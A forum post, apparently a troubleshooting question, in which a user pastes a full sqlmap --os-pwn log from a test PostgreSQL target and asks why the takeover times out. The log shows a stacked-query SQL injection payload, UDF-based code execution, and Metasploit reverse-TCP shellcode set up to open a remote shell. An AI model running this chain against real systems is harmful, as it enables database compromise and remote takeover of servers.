sqlmap takeover timeout

hi,

when im trying to use metasploit with sqlmap,
a timeout is raised, any suggestion?
$ ./sqlmap -u "http://192.168.2.10/testenv/pgsql/get_brackets.php?id=1" --os-pwn --msf-path /path/to/metasploit
[15:10:54] [INFO] testing connection to the target URL
[15:10:54] [INFO] heuristics detected web page charset 'ascii'
[15:10:55] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[15:10:55] [WARNING] parsed DBMS error message: 'ERROR: syntax error at or near "("
LINE 1: SELECT * FROM users WHERE id=(1(.,),').,') OFFSET 0 LIMIT 1
^'
[15:10:55] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'PostgreSQL')
[15:10:55] [WARNING] parsed DBMS error message: 'ERROR: syntax error at or near "'MYkyOC<'"
LINE 1: SELECT * FROM users WHERE id=(1'MYkyOC<'">bxcrbJ) OFFSET 0 L...
^'
[15:10:55] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting attacks
[15:10:55] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n]
[15:10:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:10:56] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[15:11:07] [INFO] GET parameter 'id' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[15:11:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:11:07] [INFO] checking if the injection point on GET parameter 'id' is a false positive
[15:11:17] [WARNING] parsed DBMS error message: 'ERROR: syntax error at or near "20"
LINE 1: ...T * FROM users WHERE id=(1);SELECT (CASE WHEN (80 20) THEN (...
^'
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests:

Parameter: id (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)

Payload: id=1);SELECT PG_SLEEP(5)--

[15:11:37] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: PHP 5.4.45, Apache 2.2.22
back-end DBMS: PostgreSQL
[15:11:37] [INFO] fingerprinting the back-end DBMS operating system
[15:11:37] [WARNING] parsed DBMS error message: 'ERROR: table "sqlmapfile" does not exist'
[15:11:37] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions
[15:11:37] [INFO] the back-end DBMS operating system is Linux
[15:11:37] [WARNING] parsed DBMS error message: 'ERROR: table "sqlmapfilehex" does not exist'
[15:11:37] [INFO] testing if current user is DBA
[15:11:42] [INFO] detecting back-end DBMS version from its banner
[15:11:42] [INFO] retrieved: 9.1.23
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
1
[15:13:33] [INFO] checking if UDF 'sys_bineval' already exist
[15:13:33] WARNING time-based comparison requires larger statistical model, please wait.............................. (done)
UDF 'sys_bineval' already exists, do you want to overwrite it? [y/N]
[15:13:46] [INFO] checking if UDF 'sys_exec' already exist
UDF 'sys_exec' already exists, do you want to overwrite it? [y/N]
how do you want to execute the Metasploit shellcode on the back-end database underlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Via shellcodeexec (file system way, preferred on 64-bit systems)

[15:13:57] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Bind TCP: Listen on the database host for a connection

what is the local address? [Enter for '192.168.2.10' (detected)]
which local port number do you want to use? [38748]
which payload do you want to use?
[1] Shell (default)
[2] Meterpreter (beta)

[15:14:02] [INFO] creation in progress .......... done
[15:14:12] [INFO] running Metasploit Framework command line interface locally, please wait..
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http://metasploit.com

   =[ metasploit v4.12.25-dev                         ]

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• -- --=[ 455 payloads - 39 encoders - 8 nops ]
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PAYLOAD => linux/x86/shell/reverse_tcp
EXITFUNC => thread
LPORT => 38748
LHOST => 192.168.2.10
[] Started reverse TCP handler on 192.168.2.10:38748
[] Starting the payload handler...
[15:14:37] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..
[15:19:13] [CRITICAL] timeout occurred while attempting to open a remote session

D=